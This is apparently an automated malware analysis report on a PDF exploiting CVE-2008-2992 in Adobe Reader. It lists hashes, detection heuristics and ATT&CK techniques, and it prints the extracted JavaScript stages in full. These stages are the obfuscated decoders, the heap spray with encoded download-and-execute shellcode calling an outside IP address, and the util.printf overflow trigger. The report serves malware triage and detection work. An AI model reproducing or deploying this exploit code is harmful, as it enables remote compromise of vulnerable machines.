Malicious PDF — malware analysis report

Static analysis result for SHA-256 569bad2df90cef8a…

MALICIOUS

PDF

4.0 KB First seen: 2012-07-12
MD5: 5b61ff75a6845d5fda2ec910093fc514 SHA-1: c894741ccd9fb49ef834aea1feede2e457cc32be SHA-256: 569bad2df90cef8a61b7003287b8006eba07dc3e3b0dea58c8ba84cdd87bc18e
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2008-2992, leveraging `eval()` and `String.fromCharCode()` to decode and execute a payload. The deobfuscated JavaScript explicitly contains the URL http://93.174.93.11/~delmonca/u/load.php, which is used to download a second-stage shellcode. This indicates a dropper functionality designed to fetch and execute further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-7213103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7213103-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frdBRu5cCMt.elCTr/NjqJuz Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6341 bytes
SHA-256: 2a305e4323ba4de423f561102d304345f92d8c95df2b78f91e7e7e4aec2a4805
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gaWVNajQoUmpyc3gpeyByZXR1cm4gU3RyaW5nWydmcm9tQ2hhckNvZGUnXShSanJzeCk7fSBmdW5jdGlvbiBGdndqUihoM3poek5VRk5lKXsgdmFyIFhOekRRM1AxWjN3Yj0wLCBDdlRNclY9aDN6aHpOVUZOZS5sZW5ndGgsIENOTmpVcWJKNnVyenY9MTAyNCwgQUFBMVdyV2JlZCwgZHVCRFJ2dUk1bWNSQywgU04xcGV0YTlHWXdSPScnLCBTcW5GMHV4Wj1YTnpEUTNQMVozd2IsIEFQUGpsNFNZPVhOekRRM1AxWjN3YiwgTXJaWlZkWU5DdlJ6PVhOekRRM1AxWjN3YiwgaURUaFBEbT1BcnJheSg2Myw1MCwzLDIxLDEwLDE2LDU4LDU2LDU3LDYwLDAsMCwwLDAsMCwwLDExLDM5LDQwLDMxLDQ4LDQzLDQ0LDMyLDUzLDE5LDEyLDQ1LDE3LDIyLDksMzgsNDcsNDYsNTUsMTQsNjEsMjQsMSwyLDU0LDM2LDQsMCwwLDAsMCwyNiwwLDI4LDI3LDQ5LDcsMzAsNiw1MSw2MiwyOSw1OSw1Miw1LDI1LDM1LDgsMjMsMzQsMTUsMzMsMjAsMzcsMCwxMyw0MSwxOCw0Mik7IGZvcihkdUJEUnZ1STVtY1JDPU1hdGguY2VpbChDdlRNclYvQ05OalVxYko2dXJ6dik7ZHVCRFJ2dUk1bWNSQz5YTnpEUTNQMVozd2I7ZHVCRFJ2dUk1bWNSQy0tKXsgZm9yKEFBQTFXcldiZWQ9TWF0aC5taW4oQ3ZUTXJWLENOTmpVcWJKNnVyenYpO0FBQTFXcldiZWQ+WE56RFEzUDFaM3diO0FBQTFXcldiZWQtLSxDdlRNclYtLSl7IE1yWlpWZFlOQ3ZSenw9KGlEVGhQRG1baDN6aHpOVUZOZS5jaGFyQ29kZUF0KFNxbkYwdXhaKyspLTQ4XSk8PEFQUGpsNFNZOyBpZihBUFBqbDRTWSl7IFNOMXBldGE5R1l3Uis9aWVNajQoMTAwXk1yWlpWZFlOQ3ZSeiYyNTUpOyBNclpaVmRZTkN2Uno+Pj04OyBBUFBqbDRTWS09MjsgfSBlbHNlIHsgQVBQamw0U1k9NjsgfSB9IH0gZXZhbChTTjFwZXRhOUdZd1IpOyB9IEZ2d2pSKCdwRDV2b0dEVkB2NXZtbHNXVmFjVmw1THZKbXQ1THZIMzVpMzVMdkgzNWkzNUx2SDM1aTM1TDV1b3NVeTVMYUgzTG15NUxvdXRBazM1TERsM09rMzVMRGwzdDMzNUxacW9waTM1TFpxMzVpMzVMWnFOcXR5NUxaV3B0bDM1TG9xb3NheTVMb3FvcW95NUxEdU5JTnk1THZxbzVseTVMWnFvc295NUxvbHRzb3k1TFoxM3VveTVMa3VveVYzNUx2dTNxYTM1TGt1b3lWMzVMbzNvc0ozNUxacW90aTM1TFpxb3NVeTVMb2x0c295NUxVeXB0aTM1TG8zM2F3MzVMWnkzdXQzNUw1SHR0aTM1TFpxbzMzMzVMWnFvc295NUx0eU55TjM1TFV5cHNVeTVMSkh0YXczNUxvM3QzMzM1TDVIdHN0MzVMWnFvM055NUxacW9zb3k1THR5TnlOMzVMVXlwc0ozNUxheU5hdzM1THRsM0xOeTVMNUh0TVZ5NUxacW90Vnk1TFpxb3NveTVMdHlOeU4zNUxVeXBzYTM1TDVsM2F3MzVMNXVvTTMzNUw1SHRhTnk1TFpxb3BteTVMWnFvc295NUx0eU55TjM1TFV5cHFveTVMVTNvYXczNUw1M05pTjM1TDVIdEx3MzVMWnFvTUgzNUxacW9zb3k1THR5TnlOMzVMdHFvcVV5NUx2MXR5Tnk1TGszTk1peTVMb3V0M2wzNUxvMXR1dHk1TFpXcHROMzVMWnFvc1p5NUxVeTNzb3k1TGszTnlOMzVMb2x0QVV5NUxacU51dHk1TFp5b2FsMzVMb2x0T28zNUxvMXRPdHk1TDVIdE9rMzVMWnFveVYzNUxacW9zb3k1TERIdE9veTVMb3l0R2szNUxrdW9BNTM1TEpscHR3MzVMWnFvc295NUxvdXRzb3k1TG8xM3V0eTVMVTNOeVYzNUxVdW95aXk1TG91dE9veTVMYXFvdXR5NUx0bDNhdzM1TFpxb3NveTVMVXFvc295NUx0eU55VjM1TEQzdHFVeTVMVXF0c3Z5NUxVeU55VjM1TDVIdHFKMzVMWnFvYWx5NUxacW9zb3k1THR5TnNheTVMVWxwQW95NUxVMTNzb3k1TGF5M2kzMzVMVWxwYTN5NUxacU51b3k1TEQzTml3MzVMWnFvc295NUxrM04zTDM1TG9sdEFveTVMWjEzdXR5NUxaeW9hbDM1TG9sdE9vMzVMbzF0T3R5NUx0cW90dzM1TFpxb3NveTVMRDN0c295NUxVMXRzRDM1THR5TnNheTVMdjFOQVV5NUxVMU5wVjM1THRsM09heTVMYXFvaTN5NUxVMU5Pb3k1THR5TnlWMzVMRDN0cWEzNUxVcXRzdHk1TFV5TnlWMzVMNUh0cUozNUxacW9BYXk1TFpxb3NveTVMWnFvYWwzNUxrM04zTDM1TG9sdEFveTVMWjF0dXR5NUxaV29hbDM1TG9sdE9vMzVMbzF0T3R5NUxvcW90dzM1TFpxb3NveTVMRDN0c295NUxvbHQzTDM1TG9xb3V0eTVMWnlvYWwzNUxvbHRPbzM1TG8xdE90eTVMWnFvdHczNUxacW9zb3k1THR5b3NveTVMVVdvT3YzNUw1M29zYXk1TDUzb3NheTVMNTNvc2F5NUw1M29zYXk1TDVIM3lpeTVMVXl0c1V5NUxvbHRPYXk1TDVsb3BsMzVMVVdvM2MzNUw1dW8zTDM1TG9sdE90eTVMb2x0dGkzNUxaMXRpbTM1TFVxM3lWMzVMVXlwc2EzNUxrSE55VjM1TG9sdEdhMzVMb3kzaW15NUxaMU5pdzM1TFV5cDNpeTVMazNweVYzNUxaMU5Bb3k1THYxTjNpeTVMdHF0TU4zNUx2dTN1Wnk1TFVITnNheTVMdjFOT2szNUxaVzMzSDM1TG9xb0wzMzVMdGxvR1ozNUxaMXRpbXk1TFUzM01seTVMWjFOc1UzNUx0cW8zVnk1THQzb3RWMzVMdDMzR3YzNUxrM05PdDM1TFV5dHQzeTVMNWx0eVYzNUxVeXR5VjM1TFoxTkFVeTVMRDNwcG0zNUxaMTN5VjM1TG9sdHV2MzVMbzEzT1ozNUxhdTNzYXk1TFpxTnlWMzVMWjFOeVYzNUxVeTNNM3k1TFVsb09VMzVMWnFvc0ozNUx0dU50dzM1THRsMzMzMzVMVXlOM0wzNUx0MTNPdnk1THRXM3VVMzVMWnFvdXQzNUxKbHR5YzM1TEpsM0lWMzVMVXVvcDN5NUxhM3BNTnk1TFUzb3BpMzVMYUh0cDMzNUxVM29wVjM1TGFIM3BIMzVMYTMzTWx5NUxVdW9wMzM1TG9sdElseTVMb0hOeWwzNUxvdW95Vnk1TG9IM3lseTVMVXVveTMzNUxVdW9JbDM1TG91b3lpeTVMb2x0eTMzNUxKbDNNbHk1TEpsM3ljdUx3VGxMeXRHbFppVmxNWTNaNFpEbGR0dmxWRFlMVmxWM3U1M05WbFYzdTUzTmZIa3B5dEdsWng1V21tbDNDTkxWTTVZdjJZdVdOOWtsSlp2V29hRFd2Wkd5b1pHVzJ2VjJDd1Yyd0c1dkppVmxNQlpXVkJEdjVEdk1XSjVJcDVzbHJ1SGx0VWNweXRHbFp4NVdmVUxNcDVzbDRpTFpmYVZaTWtHVzJEWjNvTkR2d1R1WmxVVkxwdkwyMllIbHRVc3lwWnNWcHZzbHdCRHZKTGx5cDVzbDRzNXY0SnZaSllZdjJra3BJRDUyb1p2SXB2TDIyQlpXVkJEdjVERElXSnZNdGNzdHRMbDN0SGtsNWtEdm1pVlp3SkRJcHZMMjI5WVdOVUdsQ05MVk01dFZNVUxXbXg1dkk1dE5NVUxWaUR0SUNORFdNRHQyZVlsM0NIR2RVM3UzdExIcHc3Y0lySGtkbFVzbE45STJlWUlNcHZMMjI5a2xKWnZXb2FEV3ZaNWZ5dEdsWlZ2VzRZNU1mM3UzaUgzcGlIM3BpSDNwZlRZTGlIM3BpSHVMcm10cGlIM3BhY2xwYWNscGFta0lmY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYW1rSWZjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwZlRZTGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFjbHBhY2xwYWN1THJtWnBhY2xwYWNscGFjbHBhY2xwZlRZTGFjbHBhY2xwYWNscGFjbHBhY2xwYWNscGFta0lmY2xwYWNscGFjbHBhY2xwYWNscGZUM1o1a3ZXNExzbHdCdlpXRFlMVlYzdHRMbDNXVVp5dkdHV05ra3AnKTs=");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3602 bytes
SHA-256: 33d94ecfa2c7a85ee627f9c9b53fbb13b180fccd971345a0a7cbd048406fb60e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 11 of 19 identifiers look randomly generated (e.g. 'v5vmlsWVacVl5LvJmt5LvH35i35LvH35i35LvH35') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function ieMj4(Rjrsx){ return String['fromCharCode'](Rjrsx);} function FvwjR(h3zhzNUFNe){ var XNzDQ3P1Z3wb=0, CvTMrV=h3zhzNUFNe.length, CNNjUqbJ6urzv=1024, AAA1WrWbed, duBDRvuI5mcRC, SN1peta9GYwR='', SqnF0uxZ=XNzDQ3P1Z3wb, APPjl4SY=XNzDQ3P1Z3wb, MrZZVdYNCvRz=XNzDQ3P1Z3wb, iDThPDm=Array(63,50,3,21,10,16,58,56,57,60,0,0,0,0,0,0,11,39,40,31,48,43,44,32,53,19,12,45,17,22,9,38,47,46,55,14,61,24,1,2,54,36,4,0,0,0,0,26,0,28,27,49,7,30,6,51,62,29,59,52,5,25,35,8,23,34,15,33,20,37,0,13,41,18,42); for(duBDRvuI5mcRC=Math.ceil(CvTMrV/CNNjUqbJ6urzv);duBDRvuI5mcRC>XNzDQ3P1Z3wb;duBDRvuI5mcRC--){ for(AAA1WrWbed=Math.min(CvTMrV,CNNjUqbJ6urzv);AAA1WrWbed>XNzDQ3P1Z3wb;AAA1WrWbed--,CvTMrV--){ MrZZVdYNCvRz|=(iDThPDm[h3zhzNUFNe.charCodeAt(SqnF0uxZ++)-48])<<APPjl4SY; if(APPjl4SY){ SN1peta9GYwR+=ieMj4(100^MrZZVdYNCvRz&255); MrZZVdYNCvRz>>=8; APPjl4SY-=2; } else { APPjl4SY=6; } } } eval(SN1peta9GYwR); } FvwjR('pD5voGDV@v5vmlsWVacVl5LvJmt5LvH35i35LvH35i35LvH35i35L5uosUy5LaH3Lmy5LoutAk35LDl3Ok35LDl3t335LZqopi35LZq35i35LZqNqty5LZWptl35Loqosay5Loqoqoy5LDuNINy5Lvqo5ly5LZqosoy5Loltsoy5LZ13uoy5LkuoyV35Lvu3qa35LkuoyV35Lo3osJ35LZqoti35LZqosUy5Loltsoy5LUypti35Lo33aw35LZy3ut35L5Htti35LZqo3335LZqosoy5LtyNyN35LUypsUy5LJHtaw35Lo3t3335L5Htst35LZqo3Ny5LZqosoy5LtyNyN35LUypsJ35LayNaw35Ltl3LNy5L5HtMVy5LZqotVy5LZqosoy5LtyNyN35LUypsa35L5l3aw35L5uoM335L5HtaNy5LZqopmy5LZqosoy5LtyNyN35LUypqoy5LU3oaw35L53NiN35L5HtLw35LZqoMH35LZqosoy5LtyNyN35LtqoqUy5Lv1tyNy5Lk3NMiy5Lout3l35Lo1tuty5LZWptN35LZqosZy5LUy3soy5Lk3NyN35LoltAUy5LZqNuty5LZyoal35LoltOo35Lo1tOty5L5HtOk35LZqoyV35LZqosoy5LDHtOoy5LoytGk35LkuoA535LJlptw35LZqosoy5Loutsoy5Lo13uty5LU3NyV35LUuoyiy5LoutOoy5Laqouty5Ltl3aw35LZqosoy5LUqosoy5LtyNyV35LD3tqUy5LUqtsvy5LUyNyV35L5HtqJ35LZqoaly5LZqosoy5LtyNsay5LUlpAoy5LU13soy5Lay3i335LUlpa3y5LZqNuoy5LD3Niw35LZqosoy5Lk3N3L35LoltAoy5LZ13uty5LZyoal35LoltOo35Lo1tOty5Ltqotw35LZqosoy5LD3tsoy5LU1tsD35LtyNsay5Lv1NAUy5LU1NpV35Ltl3Oay5Laqoi3y5LU1NOoy5LtyNyV35LD3tqa35LUqtsty5LUyNyV35L5HtqJ35LZqoAay5LZqosoy5LZqoal35Lk3N3L35LoltAoy5LZ1tuty5LZWoal35LoltOo35Lo1tOty5Loqotw35LZqosoy5LD3tsoy5Lolt3L35Loqouty5LZyoal35LoltOo35Lo1tOty5LZqotw35LZqosoy5Ltyosoy5LUWoOv35L53osay5L53osay5L53osay5L53osay5L5H3yiy5LUytsUy5LoltOay5L5lopl35LUWo3c35L5uo3L35LoltOty5Loltti35LZ1tim35LUq3yV35LUypsa35LkHNyV35LoltGa35Loy3imy5LZ1Niw35LUyp3iy5Lk3pyV35LZ1NAoy5Lv1N3iy5LtqtMN35Lvu3uZy5LUHNsay5Lv1NOk35LZW33H35LoqoL335LtloGZ35LZ1timy5LU33Mly5LZ1NsU35Ltqo3Vy5Lt3otV35Lt33Gv35Lk3NOt35LUytt3y5L5ltyV35LUytyV35LZ1NAUy5LD3ppm35LZ13yV35Loltuv35Lo13OZ35Lau3say5LZqNyV35LZ1NyV35LUy3M3y5LUloOU35LZqosJ35LtuNtw35Ltl33335LUyN3L35Lt13Ovy5LtW3uU35LZqout35LJltyc35LJl3IV35LUuop3y5La3pMNy5LU3opi35LaHtp335LU3opV35LaH3pH35La33Mly5LUuop335LoltIly5LoHNyl35LouoyVy5LoH3yly5LUuoy335LUuoIl35Louoyiy5Lolty335LJl3Mly5LJl3ycuLwTlLytGlZiVlMY3Z4ZDldtvlVDYLVlV3u53NVlV3u53NfHkpytGlZx5Wmml3CNLVM5Yv2YuWN9klJZvWoaDWvZGyoZGW2vV2CwV2wG5vJiVlMBZWVBDv5DvMWJ5Ip5slruHltUcpytGlZx5WfULMp5sl4iLZfaVZMkGW2DZ3oNDvwTuZlUVLpvL22YHltUsypZsVpvslwBDvJLlyp5sl4s5v4JvZJYYv2kkpID52oZvIpvL22BZWVBDv5DDIWJvMtcsttLl3tHkl5kDvmiVZwJDIpvL229YWNUGlCNLVM5tVMULWmx5vI5tNMULViDtICNDWMDt2eYl3CHGdU3u3tLHpw7cIrHkdlUslN9I2eYIMpvL229klJZvWoaDWvZ5fytGlZVvW4Y5Mf3u3iH3piH3piH3pfTYLiH3piHuLrmtpiH3paclpaclpamkIfclpaclpaclpaclpaclpaclpaclpaclpaclpaclpamkIfclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpfTYLaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpaclpacuLrmZpaclpaclpaclpaclpfTYLaclpaclpaclpaclpaclpaclpamkIfclpaclpaclpaclpaclpfT3Z5kvW4LslwBvZWDYLVV3ttLl3WUZyvGGWNkkp');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.